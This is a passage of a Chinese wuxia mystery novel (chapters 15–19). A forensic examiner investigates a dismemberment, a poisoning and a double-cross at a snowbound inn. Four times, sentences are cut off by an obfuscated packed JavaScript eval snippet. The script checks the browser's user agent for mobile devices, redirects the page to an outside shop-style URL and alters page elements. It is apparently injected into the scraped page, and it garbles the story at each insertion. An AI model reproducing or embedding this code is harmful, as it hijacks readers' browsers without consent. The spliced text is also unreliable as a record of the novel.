“陆女君。”囡囡的声音压得很低,带着哽咽,“我害怕,我能……能和您说说话吗?” 陆青不由皱起眉,她怎会知道自己在本应该是苏嬷嬷的房间? 况且,深更半夜,一个小姑娘独自来敲陌生人的门?这未免有些不合常理。 她不由想起大堂里那诡异的命案,这对祖孙尚未洗脱的嫌疑。但想到白日里小姑娘孝顺的模样,陆青的心又软了软。 或许,她真的是吓坏了? 犹豫片刻,陆青还是轻轻拉开了门闩,将门打开一条缝隙。 门外,果然是囡囡。 她只穿着单薄的夹袄,小脸冻得发青,眼睛红肿,怀里紧紧抱着一个东西,正怯生生地仰头看着她。 “囡囡,你怎么知道我在这?先进来,外面冷。”陆青侧身让她进来,目光迅速扫了一眼空荡荡的走廊,确认没有其他人,才重新关上门,但没有落闩。 囡囡进了屋,显得更加拘谨,小手不安地绞着衣角。 “谢谢女君。”她小声说道:“我刚才看到你往这边走就跟过来了。白日里,谢谢您帮我和姥姥说话,要不是您,我们……我们可能已经被……” 陆青叹了口气,语气尽量温和:“别怕,墨总捕已经来了,她会查清楚真相的。只要你们是清白的,就绝不会有事。” 囡囡用力点头,眼眶红红的:“我和姥姥真的没有杀人,那箱子,以前真的好好的,我和姥姥不知道为什么会变成那样。”她像是想起了什么,忽然将怀里紧紧抱着的东西往前一递,“女君,这个……送给您。” 陆青低头一看,那是一个手工缝制的小布偶,能看出缝制得很用心。 “这是我自己缝的。”囡囡小声说,带着点不好意思,“不值钱,但我只会这个了,谢谢您白日里给我们烧鸡,还护着我们。我和姥姥没什么能报答的……” 陆青心中微软,她接过布偶,拍了拍囡囡单薄的肩膀:“别担心,不会有事的,快回去吧,别让你姥姥担心。” “嗯!谢谢女君,您真是好人。”她朝陆青鞠了一躬,“囡囡不打扰您休息了,女君晚安。” 说完,她转身,轻手轻脚地拉开门,很快消失在走廊。 陆青关好门,重新落闩。 她走回床边,拿出那个小布偶,又看了看,这才将它仔细放在枕边。 孩子的恐惧和感激看起来很真实,这让她对那对祖孙的怀疑减轻了些许。 她重新躺下,困意很快袭来。 这一次,陆青很快沉入了并不安稳的睡眠,也不知道睡了多久。 一声凄厉的惨叫,猛然刺破了深夜的死寂。 “啊——!!!” 15. 第 15 章 陆青瞬间惊醒,心脏在胸腔里疯狂跳动,耳朵里嗡嗡作响。 那声惨叫……像是从楼下传来的! 紧接着,是重物倒地的闷响,桌椅被撞翻的哗啦声,还有……隐约的、混乱的奔跑和喊叫? 又出事了?! 陆青几乎是弹坐起来的,飞快地穿上衣服去开门。 隔壁房门也同时打开。 苏嬷嬷已披衣而出,她身后,谢见微裹着那件素色斗篷,面纱已戴好,露出的那双凤眸在昏暗廊灯下清明锐利,没有丝毫初醒的懵懂。 “楼下出事了。”苏嬷嬷压低声音。 “我也听到了惨叫。”陆青急促点头,“好像……还听到碰撞和奔跑的声音。” 三人迅速交换了一个眼神,无需多言,默契地一前一后朝楼梯口走去。 刚走到楼梯转角,楼下大堂的景象便映入眼帘。 只见厅中桌椅翻倒,杯盘狼藉。唯一的光源是柜台上一盏被撞歪的油灯,火光摇曳,将凌乱的影子投在墙壁上,张牙舞爪。 而在那片混乱的中心,刀客之一的赵龙正状若疯魔! 他双目赤红,手中钢刀毫无章法地狂乱挥舞,口中发出野兽般的嘶吼:“鬼!鬼影!砍死你!老子砍死你!” 刀刃劈在桌椅上,木屑纷飞。他像是陷入了某种极致的恐惧与疯狂,对周围的一切视而不见,只是拼命朝着空气中某个不存在的东西砍杀。 其他房间的门也陆续打开。 柳三娘和伙计战战兢兢地探出头,一见厅中情景,吓得又缩了回去。 老妪牵着囡囡,祖孙俩瑟瑟发抖地站在二楼栏杆边,不敢下来。 王老五身体更是抖得如同风中落叶。 “都退后!”一个清冽的声音响起。 墨云不知何时已从她房中出来,站在楼梯中段。她并未拔剑,只是目光如电,紧紧锁定发狂的赵龙,脚步沉稳地一步步走下楼梯。 “赵龙!”她声音陡然拔高,带着内力,如同惊雷炸响,“醒来!” 这一声断喝,仿佛带着某种镇定的力量。 赵龙狂乱挥舞的动作猛地一顿,赤红的眼睛茫然地转动了一下,焦距慢慢凝聚。他喘着粗气,额头青筋暴跳,握刀的手仍在颤抖,但眼中的疯狂总算褪去些许。 “……墨、墨总捕?”他声音沙哑干涩,像是从喉咙里挤出来的。 “是我。”墨云走到他面前三步远处停下,目光扫过他握刀的手,“把刀放下。发生什么事了?钱虎呢?”她敏锐地注意到,本该和他一起守门的钱虎不见了。 提到钱虎,赵龙脸上再次涌起巨大的恐惧,他猛地指向客栈大门外,声音带着哭腔:“钱虎……钱虎他……死了!被、被一个白色鬼影杀了!” “什么?”墨云脸色一变,“你说清楚,到底怎么回事?” 赵龙眼中恐惧更甚,语无伦次:“他、他说去茅房,去了好一会儿……我、我听到外面有动静,好像是他叫了一声……我就出去看……” 他嘴唇哆嗦着,瞳孔因回忆而扩散:“然后……我就看到了……那个白影,王老五说的那个白影!就在院子里,它、它围着钱虎,那么一转,钱虎他就……就散架了!胳膊、腿……全都……全都断了!血……到处都是血!” 他猛地抓住墨云的衣袖,像是抓住救命稻草:“墨总捕,咱们赶紧走,这地方不能待了。王老五没骗人!真有鬼!咱们先离开,多叫些兄弟,带上黑狗血、童子尿再来!” 墨云眉头紧锁,甩开他的手,沉声道:“冷静!带我出去看看。” 她率先走向大门,赵龙犹豫了一下,还是握紧刀跟了上去。 陆青与谢见微、苏嬷嬷对视一眼,也跟了下去。 推开客栈大门,凛冽的寒风裹挟着雪片扑面而来。 院子里的积雪被踩得凌乱不堪,在朦胧的雪光与客栈透出的微弱灯光映照下,一幅令人毛骨悚然的景象呈现在众人面前。 就在院子中央,离茅房不远的地方,散落着一地……残躯。 确实是散落。 钱虎的尸体,已经不能称之为一具。他的四肢与躯干被彻底分离,切口处平滑得惊人,如同被最精巧的屠夫肢解。 头颅滚在几步开外,脸上凝固着极致的惊骇与痛苦,双目圆睁,鲜血染红了大片雪地,在低温下迅速凝结成暗红色的冰。 饶是见过不少血腥场面的陆青,也是胃里一阵翻腾,她强迫自己深吸几口冰冷的空气,强压下不适。作为一名法医,她见过各种死状,但如此干脆利落的肢解,仍让她感到一种非人的寒意。 墨云不愧是总部,她从容许多,蹲下身,仔细查看最近的一截断臂。 “切口极其平整,与箱中那两人的颈伤特征 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897834|192291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一致。”她声音冷肃,抬起头看向陆青,“陆女君,可否再劳烦你仔细查验?” 陆青定了定神,点头:“好。” 她走上前,先观察整体。尸体被分割成至少六块:头、躯干、双臂、双腿。分离处都在关节附近,并非胡乱砍切。 她蹲在躯干旁,仔细看肩部的断口。皮肤、肌肉、骨骼的切面都光滑如镜,甚至能看到骨骼断面上细微的纹理,像是极高速切割留下的痕迹。 “凶器极其锋利,而且切割速度超乎想象。”陆青低声分析,“这种平滑度,普通的刀剑绝难做到。而且……你们看,衣物也被整齐切断,边缘没有拉扯撕裂。说明凶器在切割□□时,几乎没遇到任何阻力,连带衣物一并切开。” 墨云点头:“与箱中死者衣物切口吻合。” 陆青又走到头颅边,忍着不适观察颈部断口。“颈部的切割,是从左后侧斜向切入,与箱中死者从左侧切入略有不同,但创面形态一致。四肢的切割,则多是从关节切入,避开最坚硬的骨骼……” 她站起身,目光扫过整个血腥的现场,脑海中试图还原画面:“凶手应该是从背后或侧面快速接近死者,以极高的速度和精准度,在极短时间内完成多次切割。死者甚至可能没来得及完全转身,就……” 她没说完,但意思已经很清楚。 杀人者速度着实快得厉害,已经并非常人,陆青自然不信鬼,她只能猜测是什么神兵利器,或者这个世界的人有极高的武功修为。 “所有人立刻下来!”墨云忽然转身,朝客栈内喝道。 不多时,柳三娘、伙计、老妪祖孙,以及连滚带爬的王老五,都战战兢兢地来到了门口。 一看到院中那修罗场般的景象,王老五嗷一嗓子,直接瘫软在地。他手指颤抖地指着尸体,涕泪横流:“鬼影!是它,就是它,跟来了!它真的跟来了!我们都会死,都会死的!” 柳三娘也吓得花容失色,捂住嘴才没尖叫出声,连连后退,声音发颤:“天爷啊……这、这……难不成这客栈里,真有索命的白衣鬼?” 老妪把囡囡的脸紧紧按在自己怀里,不让她看,自己则嘴唇不停哆嗦念佛。 王老五更是直接跪下了,磕头如捣蒜:“鬼爷爷饶命!鬼爷爷饶命啊!不关小的事,小的什么都不知道啊!” 恐慌顿时如同瘟疫,再次蔓延开来。 16. 第 16 章 眼见众人面露恐惧,局面马上要失控。 墨云猛地转身,面对众人,从怀中掏出一卷蜡封的文书,唰地展开。 “安静,都给我听好了!”她声音清朗,带着内力,压过了所有嘈杂与哭泣。 火光下,文书上鲜红的官印和‘海捕文书’几个大字清晰可见。 “此非鬼魅作祟!”墨云目光如炬,扫过每一张惊恐的脸,“若本捕所料不差,尔等所言‘鬼影’,乃是一种极为精巧歹毒的机关杀人术——【千丝傀儡阵】” 她将文书亮出,上面绘着一个妩媚女子的画像,旁边是密密麻麻的罪状。 “我追查此案已有两月。施展此术者,乃天机阁叛徒,名唤‘千面罗刹’晏无娇。此女盗取了阁中至宝‘天机丝’,此丝细如发,锋利无匹,操控丝线如臂使指,远距离绞杀目标,快如鬼魅,形似白衣幽影!” 她顿了顿,语气森然:“晏无娇心狠手辣,擅长易容伪装,已犯下三州十二桩血案,手中亡魂不下百数,朝廷悬赏千两黄金拿她。看来,这魔头如今已流窜至此地,就藏在我们中间!” 这番话如同巨石投湖,激起千层浪。 “天机阁叛徒?” “易容伪装?” “就藏在我们中间?” 所有人都惊呆了,随即是更深的恐惧与猜忌。 赵龙猛地后退一步,刀尖下意识地对准了除墨云外的所有人,眼神凶狠如狼:“易容?谁?是谁?” 王老五把自己缩得更小,眼睛滴溜溜乱转,看谁都像那个“千面罗刹”。 老妪把囡囡搂得几乎喘不过气。 柳三娘捂着胸口,脸色苍白如纸,目光却快速地在陆青三人身上扫过。 陆青和谢见微还有苏嬷嬷对视了一眼,皆从对方眼中看到了惊讶,于是默默戒备,恐生变故。 墨云将众人的反应尽收眼底,缓缓收起海捕文书,道:“这个晏无娇狡猾无比,最擅伪装潜伏。如今看来,她扮作客栈中某一人,伺机作案的可能性极大。” 闻言,瞬间人人自危。 “从现在起,任何人不得单独行动。”墨云命令道,“所有人,都跟我回大堂。我要逐一问话,核查各位案发时的行踪。” 她看向赵龙:“赵副将,麻烦你找人收敛一下钱虎的遗骸。” 赵龙似乎还有些惊魂未定,他点了点头,视线在众人中扫了一圈,最后看向王老五,厉声呵道:“王老五,你过来。” 王老五一听要他碰尸体,吓得魂飞魄散,连连摆手:“不、不不!大人饶命,小的不敢,小的看见血就晕。” 赵龙本就心情极差,见状一脚踹在他屁股上,厉声道:“不敢?老子现在就砍了你,还不赶紧去。” 王老五顿时连滚带爬,抖如筛糠地开始收拾那惨不忍睹的残肢。 墨云不再理会,转身对其他人道:“其余人,先进大堂。” 大堂里,油灯重新被拨亮。 众人围坐在仅剩的几张完好桌椅旁,气氛凝重得几乎能滴出水来。 墨云坐在主位,先看向惊魂未定的赵龙:“赵副将,你再说一遍,从钱虎离开去茅房,到你听到动静冲出客栈,中间大概多久?” 赵龙努力回忆,脸上肌肉抽搐:“大、大概……一炷香多点?不到两柱香……我当时也有些困,没太记清具体时辰。” 墨云记下,又问:“你冲出客栈时,除了看到白影和钱虎的残躯,可还看到其他异常?比如脚步声、人影、或者机关绳索的痕迹?” 赵龙摇头,脸上恐惧未消:“没有,什么都没有。那白影一闪就没了,院子里只有钱虎的肢体和血。” 墨云点点头,示意赵龙先去看看王老五收敛尸体如何了。 赵龙点点头,转身打开门走了出去。 墨云转向陆青三人:“陆女君,林娘子,苏嬷嬷,案发之时,三位在何处?做些什么?可有听到异常动静?” 陆青看了一眼谢见微,才开口道:“回墨总捕,我们一直在房内。我与…娘子早些歇息了,听到惨叫声才惊醒,具体时辰……我们也不确定。” 她说得含糊,但还是让在场一些过来人听出了意味。 柳三娘原本苍白的脸上,竟浮起一丝古怪的神色,她瞥了一眼戴着面纱的谢见微,又看看面颊微红的陆青,忍不住用恰好能让周围几人听清的语调嘀咕了一句:“风雪夜寒,二位娘子确实……恩爱暖人,早早安寝了。” 这话带着明显的促狭意味,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897835|192291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此紧张肃杀的气氛中显得格外突兀。 谢见微目光倏地冷了下来,隔着面纱,那双凤眸如冰刃般刺向柳三娘。 陆青更是耳根发烫,却又无法反驳,只是暗暗惊讶,莫非这老板娘住在隔壁,真的听到了什么?越想,反倒越是尴尬。 墨云像是没听到这插科打诨,笔尖顿了顿,看向苏嬷嬷:“苏嬷嬷,你昨夜在做什么?” 苏嬷嬷恭敬答道:“回捕头,老奴伺候大小姐沐浴更衣后,便回了隔壁房间歇息,直到听到惨叫才出来。期间,大小姐和女君房内并无异常动静传出。” 墨云记下,又问老妪和囡囡。 老妪声音沙哑颤抖:“回大人,老婆子和孙女吓坏了,回房后一直没敢睡,搂在一起念佛,直到……听到楼下乱起来。” 囡囡把小脸埋在姥姥怀里,只用力点头。 接着是柳三娘和伙计。 柳三娘用帕子按着心口,声音依旧带着惊悸:“奴家和伙计一直在柜台清点今日账目,准备明早的食材。伙计可以作证。” 伙计连连点头:“是是是,小的一直在后厨洗刷,掌柜的时不时过来看两眼,我们都没离开过前堂和后厨。” “期间可曾听到或看到有人下楼、出门?”墨云追问。 柳三娘和伙计对视一眼,都摇头:“没有。柜台对着楼梯和门口,若有人下来或出去,我们肯定能看见。” 墨云将所有口供记录在案,眉头紧锁。 她起身,对众人道:“本捕需要查验各人房间,在我回来前,不得走动交谈。” 她先快速检查了一楼伙计房和储藏间,又上了二楼,逐一检查各人房间。 陆青的心当即提了起来,她们房间的窗户正好对着院子…… 果然,约莫一刻钟后,墨云回到大堂,目光直接落在陆青等人身上。 “本捕查验过所有房间。”她声音平静,却带着压力,“唯有二楼东头上房,也就是陆女君与林娘子所居之处,那扇窗户通向客栈侧面,可绕至后院。换言之,唯有从你们房间,可以神不知鬼不觉地离开客栈主楼,前往院子。” 大堂内瞬间死寂。 所有人的目光都聚焦在陆青和谢见微身上,满是猜疑之色。 17. 第 17 章 陆青强自镇定,迎上墨云审视的目光,大脑飞速运转。 “墨总捕。”她开口,声音尽量平稳,“仅凭窗户,并不能断定我们出去过,更无法证明我们与凶案有关。” 墨云不置可否:“这却可以证明,你们三人亦有嫌疑。” 陆青深吸一口气,决定从案件本身逻辑反击:“墨总捕,此案关键,在于凶器和手法。您方才也认同,院中钱虎之死,与箱中二人,乃同一凶器所为,对吗?” 墨云点头:“不错,作案手法高度一致。” “那么问题来了。”陆青反问道:“箱中命案发生时,我们正坐在大堂之中,众目睽睽之下,根本没有接近木箱的机会,如何能在箱内杀人?除非凶手并非一人,而是有同伙。箱中杀人与院中杀人,是两个人,或者两伙人所为。” 墨云眼中闪过一丝赞赏,“陆女君果然心思缜密,本捕也正有此虑。” 她重新坐回主位,手指轻轻敲击桌面,目光缓缓扫过柳三娘、老妪祖孙、最后又落回陆青三人身上。 “若凶手是团伙作案,那么一切便说得通了。”墨云声音低沉,笑道:“或许,陆女君你们一行,与那变戏法的祖孙本就相识,里应外合,借戏法箱杀人。又或许,你们与这客栈老板娘早有勾结,利用密道和房间窗户,布局行凶。” “冤枉啊!” “大人明鉴!” “捕头大人,我们根本不认识她们!” 话音未落,柳三娘、老妪几乎同时喊起冤来,声音凄惶。 陆青也立刻道:“墨总捕,此乃臆测。我们南下寻亲,途经此地,与老板娘、祖孙皆是萍水相逢,何来勾结之说?有何动机行此凶残之事?” 一直沉默的谢见微,也终于开口,声音透过面纱传来:“墨总捕办案,讲究证据。若无实证,仅凭推测便将我等列为凶嫌,恐难服众,亦有违朝廷法度。” 墨云看着眼前神色各异的众人,沉默了片刻。 “本捕并未断言凶手就是你们。”良久,墨云才缓缓开口,打破了令人窒息的寂静,“只是提出一种可能。此案疑点重重,凶手狡猾,任何可能性都不能排除。” 她站起身,目光恢复公事公办:“在真相大白之前,所有人都有嫌疑。从现在起,所有人不得离开大堂,互相监督。我会继续调查,直到找出真凶,或者……等到天亮援兵抵达。” 话落,无人接话。 窗外天色漆黑,大堂里死寂无声,只有窗外永不停歇的风雪呜咽。 昏黄的油灯光线将众人的影子在墙壁上拉长扭曲,如同鬼魅。 时间在极度的压抑中缓慢流逝,煎熬着众人的神经。 不知过了多久,柳三娘像是受不了这令人窒息的沉默和寒冷,颤巍巍地站起身,对墨云福了福身,声音带着刻意讨好的小心: “墨总捕。”她搓了搓冻得发红的手,指了指墙角的炭盆,“这天寒地冻的,又……又出了这等事,大家心里都怕得紧。奴家……奴家去添些热柴,再煮一壶姜茶给大家驱驱寒,可好?” 墨云抬起眼皮,锐利的目光在她脸上停留片刻,似乎想从她看似惶恐的表情中找出破绽。片刻后,才几不可察地点了点头:“可。但柴火和茶具,需从大堂现有之物中取用,你不得离开我等视线。” “是是是,奴家明白!”柳三娘连连点头,让伙计从柜台后抱出一小捆干燥的柴火,又取来一个陶土茶壶和几只粗瓷碗。 她小心翼翼地将柴火添进炭盆,火焰顿时旺了些。接着,她熟练地将茶壶架在火盆边特制的铁架上,又从一个小陶罐里抓了几片干姜扔进去。 整个过程,她都处于众人目光的监视之下,动作并无异常。 水很快烧开,蒸汽顶着壶盖噗噗作响,辛辣的姜味混合着水汽弥散开来,给这充满血腥的客栈带来一丝微弱的暖意。 柳三娘将滚烫的姜茶倒入碗中,浓郁的茶汤泛着琥珀色。 她先端起一碗,递向墨云,脸上堆起忐忑又殷勤的笑:“墨总捕先请?您办案辛苦,又护着大家,喝口热茶暖暖身子吧?” 墨云的目光落在那碗冒着热气的姜茶上,没有接,而是淡淡道:“掌柜的有心了。不过,为防万一,还是掌柜的先请吧。” 柳三娘脸上的笑容僵了一下,随即露出更加委屈惶恐的神色:“捕头大人,您、您是怀疑奴家在茶里做手脚?这众目睽睽之下,奴家就是有十个胆子也不敢……” “少废话。”墨云语气转厉,“让你喝你就喝!” 柳三娘吓得一哆嗦,眼圈顿时红了。她看了看面无表情的墨云,咬了咬嘴唇,才颤抖着手,将碗端到嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16897836|192291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边。 “奴家……奴家喝就是了……”她小口小口地将那碗姜茶喝了下去。 喝完,她将空碗底朝天亮了亮:“捕头大人,各位贵人,这下总该信了吧?奴家就是想给大家驱驱寒,没别的意思啊。” 墨云看着她喝完,等了片刻,见她神色如常,并无异状,这才微微颔首。 “给其他人也倒上吧。”她吩咐道,目光却依旧紧盯着柳三娘的动作。 柳三娘开始给其他人倒茶,先递给老妪和囡囡。 老妪迟疑了一下,最终还是接过了。囡囡似乎渴了,小声道了谢,咕咚咕咚喝了几大口,被姜味辣得皱了皱眉。 轮到陆青三人时,柳三娘将茶碗递过来,“三位,请用茶。” 陆青接过茶碗,低头看了看茶汤,色泽正常,气味也是纯粹的姜辣,并无异样。但她于此世界实在陌生,不由本能地侧头看向谢见微。 谢见微面纱下的眸光平静无波,几不可察地对她微微颔首。 眼下情形,若不喝,反而显得心虚,更惹嫌疑。她与谢见微和苏嬷嬷交换了一个眼神,三人同时端起碗,小口啜饮。 姜茶辛辣滚烫,顺着喉咙滑下,确实带来一股暖流,驱散了四肢的寒意。 最后,柳三娘才将一碗新倒的姜茶恭敬地递给墨云。 墨云接过,却没有立刻喝。她目光如炬,再次扫过所有喝过茶的人,见所有人都无异样,这才端起碗喝了下去。 辛辣的暖意入腹,紧绷的神经似乎也略微松弛了一丝。 大堂里安静下来,只剩下炭火燃烧的噼啪声和众人或轻或重的呼吸声。 姜茶的热度仿佛暂时融化了些许冷意,空气不再那么剑拔弩张。 然而,这份平静并未持续太久。 约莫过了一盏茶的功夫,陆青忽然感觉一阵细微的眩晕袭来。 她晃了晃头,以为是疲惫所致,可紧接着,四肢开始传来一种陌生的无力感,像是力气正被一点点从骨头缝里抽走。 她心中警铃大作,猛地抬眼看向谢见微。 只见谢见微身体几不可察地晃了一下,额头上渗出了细密的汗珠。 苏嬷嬷察觉不对,试图起身,却险些摔倒,连忙用手撑住椅子,脸上第一次露出了惊怒之色:“不好!茶里有毒……” 18. 第 18 章 不多时,众人都无力的瘫倒在桌旁,齐齐看向毫发无损的老板娘。 荒郊野外,果真是黑店无疑,她的担忧果然成真了。 陆青暗自苦笑。只觉得眼前的景物开始旋转,身影变得模糊,她本能地先看向谢见微,见她虚虚靠着苏嬷嬷,看上并没有太过狼狈,才松了一口气。出于前世信任官方的本能,她第一时间看向墨云,嘶声喊道:“墨总捕,这茶有问题!” 墨云在异变初起时便已察觉,她脸色铁青,一手按剑,试图运功逼毒,却骇然发现内力滞涩,竟提不起半分。 她目光如电射向柳三娘,厉声朝外喝道:“赵龙,快拿下这黑店老板娘!” 这一声断喝用上了残余的内力,穿透紧闭的门窗,传向院子。 几乎在她话音落下的同时,客栈大门哐当一声被推开,寒风卷着雪片涌入。 只见方才还在院中处理钱虎尸骸的赵龙和疯疯癫癫的王老五,两人竟一同快步走了进来。他们身上还带着未干的雪沫和淡淡的血腥气,但脸上却没有了先前的狂乱或恐惧,取而代之的是一种异样的杀意。 在众人惊愕的目光中,王老五与赵龙交换了一个心照不宣的眼神。 然后,王老五缓步走到大堂中央,对着柳三娘,吐出几个字:“北风寒彻骨。” 柳三娘脸上所有的惶恐也如同潮水般褪去,她站直身体,嘴角勾起一抹笑,平静地对上了:“春信有梅知。” 暗号对上! 王老五脸上露出满意的神色,随即又皱起眉头,带着几分埋怨和不解:“既知是我们,为何早不以暗号相认?害得我在此装疯卖傻,提心吊胆。”他说着指向地上昏迷的众人,“如今还搞出这么多麻烦,差点误了大事!” 柳三娘闻言,神色凝重:“非我不愿相认,实是情况有变,不得不谨慎行事。”她顿了顿,目光扫过地上昏迷的祖孙和摇摇欲坠的陆青等人,声音压得更低:“你们进来前,可曾看到客栈外槐树上系着的示警红布条?” 王老五沉声道:“我正是看到这个,才不敢贸然相认,到底出了何事?” 柳三娘脸色愈发严肃:“两天前,我接到飞鸽急报。消息称,天机阁那边不知怎么得到了风声,知道我们今日要在此接头,已经派了人前来清理门户,惩治叛徒。” “天机阁的人真来了?”王老五倒吸一口凉气,脸上露出后怕之色。 “恐怕是真的。”柳三娘点头,“所以我才在门外挂了示警布条。店内人多眼杂,那对祖孙,还有这三个人……”她指了指陆青一行,“身份不明,行迹也有些蹊跷,我唯恐其中混有天机阁的人,这才不敢轻易与你们相认,想着先用药放倒所有人,再慢慢甄别。” 她解释完,大堂里陷入短暂的沉默。 王老五、赵龙消化着这惊人的信息,脸上神色变幻。 陆青强撑着不让自己昏过去,将他们的对话一字不漏地听在耳中,心中已然掀起了惊涛骇浪。本以为只是碰到了一场杀人案,没想到背后居然还有这么多阴谋,她下意识地看向旁边的人。 只见谢见微和苏嬷嬷交换了一个眼神,神色中倒是没有多少惊惶之色,一看便不是凡人,陆青越发好奇,两人到底什么身份? 而那黑店老板娘还在和两人商量着,如何处置被放倒的人。 王老五问:“那现在怎么办?这些人里,到底有没有天机阁的人?” 柳三娘摇了摇头:“我也不确定。那个墨云,自称北州府总捕,腰牌看起来是真的,但行事总有些说不出的古怪。这三个人……”她又看向陆青一行,“说是南下逃难的夫妻,但那个戴面纱的女子气度不凡,老仆身手不弱,这姓陆的女君更是精通验尸推理,绝非寻常百姓。那对祖孙……戏法箱子也确实邪门。” 她说着,脸上露出狠辣之色:“保险起见,不如……”她做了个抹脖子的手势,“全都处理掉,以绝后患。拿了‘货’,我们立刻撤离,天机阁的人神出鬼没,此地不宜久留! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16897837|192291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 王老五眼中凶光一闪,“我同意。” 赵龙更是早已按捺不住杀意,狞笑道:“早该如此,兄弟们不能白死,先把这几个人宰了。宁杀错,不放过!” 三人点了点头,只见赵龙拔出钢刀,雪亮的刀锋在火光下闪着寒光,一步步朝着瘫软在桌边的众人逼近。 死亡的阴影,瞬间笼罩众人。 就在赵龙的刀即将挥下的刹那—— 异变再生! 一直站在他们身后,看似同伙的柳三娘,眸中杀意一闪,突然出手如电,快得只在空气中留下一道残影。 她双手五指并拢如刀,灌注了全部内力,以迅雷不及掩耳之势,狠狠印在了毫无防备的赵龙和王老五后心要害处。 “噗!” “噗!” 两声沉闷如击败革的巨响。 赵龙和王老五脸上的狞笑瞬间凝固,取而代之的是极致的惊愕。 他们不可置信地瞪大眼睛,缓缓转过头,看向身后那个刚刚还与他们并肩而立,商议灭口的‘同伴’。 鲜血从他们口鼻中狂涌而出。 “你……为……什……”王老五艰难地吐出几个字,眼中生机迅速涣散。 赵龙更是连话都说不出,只发出嗬嗬的漏气声,手中钢刀当啷落地。 两人如同被抽去骨头的面袋,噗通两声,重重扑倒在地,激起一片尘埃。 身体抽搐了几下,便彻底不动了。 顷刻之间,形势逆转。 大堂里的人全都惊呆了,难以置信地看着这突如其来的变故。 柳三娘缓缓收回手,看也没看地上两具刚刚断气的尸体,甚至轻轻甩了甩手,仿佛刚才拍死的只是两只恼人的苍蝇。 然后,她弯腰,动作熟练地从王老五怀中,摸出了一封信件。她拿起信件展开看完,嘴角终于勾起几分如释重负的笑容。 “费了这么大劲,”她低声自语,“总算是拿到了。” 19. 第 19 章 大堂内一片死寂。 浓烈的血腥味混合着姜茶残余的辛辣气息,弥漫在空气中,令人窒息。 陆青靠在桌旁,手脚酸软无力,连抬起一根手指都困难。但她的意识却因为极度震惊而异常清晰,瞪大了眼睛,死死盯着那个瞬间反杀两名‘同伴’、此刻正捏着信件笑的柳三娘。 苏嬷嬷挡在谢见微和陆青身前,尽管身体摇摇欲坠,仍竭力维持着护卫的姿态。 墨云则瘫在椅子上,额角冷汗涔涔,动弹不得,警惕的盯着柳三娘,沉声开口,打破了这诡异的寂静: “你……到底是什么人?” 柳三娘闻声转过头来,脸上的笑容并未收敛,反而加深了些许。她将手中的信件塞进怀里,然后对着尚算清醒的几人拱了拱手,动作飒爽利落。 “诸位莫怕,方才情势所迫,多有得罪。”她的声音变了,不再是客栈老板娘那种带着点市侩和惶恐的语调,而是变得清朗坦然,“在下并非什么黑店老板娘,而是靖安司暗探,隶属于靖州府。此番潜伏于此,是为执行一项机密任务。” 靖安司暗探? 陆青对这个世界了解不多,下意识看向谢见微,见她神色如常,似乎对此见怪不怪。 墨云的眉头几不可察地动了一下,但眼中的戒备并未减少。 柳三娘继续解释道:“三日前,靖安司接到密报,有敌国细作‘山鹞’,也就是这个王老五,从叛将手中拿到了‘铁壁关’的城防兵力部署图,约定于今夜在此交接,商议开城投降的具体条件。” “这间客栈,本就是敌国的一个隐秘联络点,真正的老板娘,也是戎狄的暗桩。我们的人抢先一步端了这里,我便伪装成老板娘,在此守株待兔,目的就是截获这份城防图,并清除这些叛国贼。” 她的解释合情合理,且与刚才王老五等人的对话完全吻合。 大堂里的气氛似乎稍稍缓和了一瞬。 墨云看着她,缓缓开口,却依旧带着审慎:“柳姑娘既是同僚,为何不早表明身份?又何故对我等下药?” 柳三娘脸上露出一丝无奈:“墨总捕头,非是我有意隐瞒。只是此次任务事关重大,敌国细作狡猾,天机阁又掺和其中,形势复杂。在未能确认店内所有人身份之前,我不敢冒险。” 她说完看向地上昏迷的祖孙,又看向陆青三人:“这几位,行迹皆有可疑之处。尤其是……”她目光在陆青脸上停留了一瞬,“这位陆女君,观察入微,推理缜密,远超常人,我不得不防。” 